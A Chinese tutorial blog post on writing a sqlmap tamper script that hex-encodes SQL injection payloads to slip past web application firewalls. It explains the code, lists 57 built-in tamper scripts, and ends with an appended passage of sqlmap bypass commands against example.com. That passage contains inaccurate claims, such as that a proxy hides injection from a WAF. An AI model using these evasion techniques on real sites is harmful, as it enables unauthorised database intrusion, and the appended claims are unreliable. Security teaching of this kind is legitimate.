【sql注入-WAF绕过】编写sqlmap的tamper进行sql注入

目录

编写sqlmap的绕过脚本

二、理论知识2

sqlmap的tamper脚本

三、实战部分




一、理论知识1

编写sqlmap的绕过脚本

编写sqlmap的一个简单WAF绕过脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    hex_str = ''.join([r'~' + hex(ord(c))[2:].zfill(2) for c in payload])
    return hex_str

挑重点来讲述一下:

核心代码:

hex_str = ''.join([r'~' + hex(ord(c))[2:].zfill(2) for c in payload])

实现功能:

使用列表推导式将给定的payload字符串转换为一个十六进制字符串。它遍历payload中的每个字符,将其转换为ASCII码的十六进制表示,并在前面添加~符号和适当的填充零。最后,使用''.join()方法将所有转换后的十六进制字符串连接成一个字符串

函数含义:

1、hex_str = ''

 定义一个空字符串,用于存储最终的十六进制表示。

2、[r'~' + hex(ord(c))[2:].zfill(2) for c in payload]

 这是一个列表推导式(list comprehension),用于遍历字符串 payload 中的每个字符并进行处理。对于每个字符 c,它会执行以下操作:

  • ord(c): 将字符转换为对应的 ASCII 值。
  • hex(...): 将 ASCII 值转换为十六进制字符串。
  • [2:]: 切片操作,去掉十六进制字符串中的前缀部分。
  • zfill(2): 如果十六进制字符串长度不足两位,则在左侧填充零,使其达到两位长度。
  • r'~' + ...: 在处理后的十六进制字符串前加上 ~ 字符作为前缀。

最终,该列表推导式将生成一个包含每个字符十六进制表示的列表。

3、''.join(...): 使用空字符串作为连接符,将列表中的元素连接起来形成一个字符串。也就是将每个字符的十六进制表示拼接在一起。



二、理论知识2

sqlmap的tamper脚本

sqlmap的tamper中的更多脚本

序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符,等号替换为like
8chardoubleencode双url编码
9charencode将url编码
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\\\
18greatest大于号替换为greatest
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为--加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/**_**/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为--%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头

注:不同的脚本可以针对不同的数据库、不同的版本进行使用



三、实战部分

​​​​​​​README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)icon-default.png?t=N5K3https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledgeicon-default.png?t=N5K3https://github.com/BLACKxZONE/Treasure_knowledge

  • 1
    点赞
  • 118
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 100
    评论
SQLMap是一款常用的SQL注入工具,但是在一些情况下,可能会被Web应用程序防火墙(WAF)检测到并且阻止进一步的注入攻击。下面是一些绕过WAFSQLMap注入技巧: 1. 修改HTTP头部 在SQLMap中使用`--headers`选项来修改HTTP头部,例如: ``` sqlmap -u "http://example.com?id=1" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" ``` 这将向请求添加一个自定义的User-Agent头部,从而绕过WAF的检测。 2. 使用代理 使用代理服务器时,WAF通常无法检测到SQL注入攻击,因为它只能检测来自客户端的请求。在SQLMap中使用`--proxy`选项来指定代理服务器,例如: ``` sqlmap -u "http://example.com?id=1" --proxy=http://127.0.0.1:8080 ``` 这将使用本地代理服务器进行注入攻击。 3. 使用多个随机User-Agent头部 使用多个随机的User-Agent头部可以使WAF难以检测到SQL注入攻击。在SQLMap中使用`--random-agent`选项来随机生成User-Agent头部,例如: ``` sqlmap -u "http://example.com?id=1" --random-agent ``` 这将在每个请求中使用随机生成的User-Agent头部。 4. 使用不同的HTTP方法 WAF通常只检测常见的HTTP方法,如GET和POST。在SQLMap中使用`--method`选项来指定不同的HTTP方法,例如: ``` sqlmap -u "http://example.com?id=1" --method=PUT ``` 这将使用PUT方法进行注入攻击,从而绕过WAF的检测。 5. 使用Tamper脚本 Tamper脚本SQLMap的一个功能,可以修改SQL注入的请求和响应。在SQLMap中使用`--tamper`选项来指定Tamper脚本,例如: ``` sqlmap -u "http://example.com?id=1" --tamper=space2comment ``` 这将使用space2comment Tamper脚本,将空格转换为注释,从而绕过WAF的检测。 总之,以上这些技巧并不一定都能够成功绕过WAF的检测,要根据具体情况选择合适的方法。同时,为了避免被WAF检测到,也可以使用其他工具或手动注入的方式来进行攻击。
评论 100
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值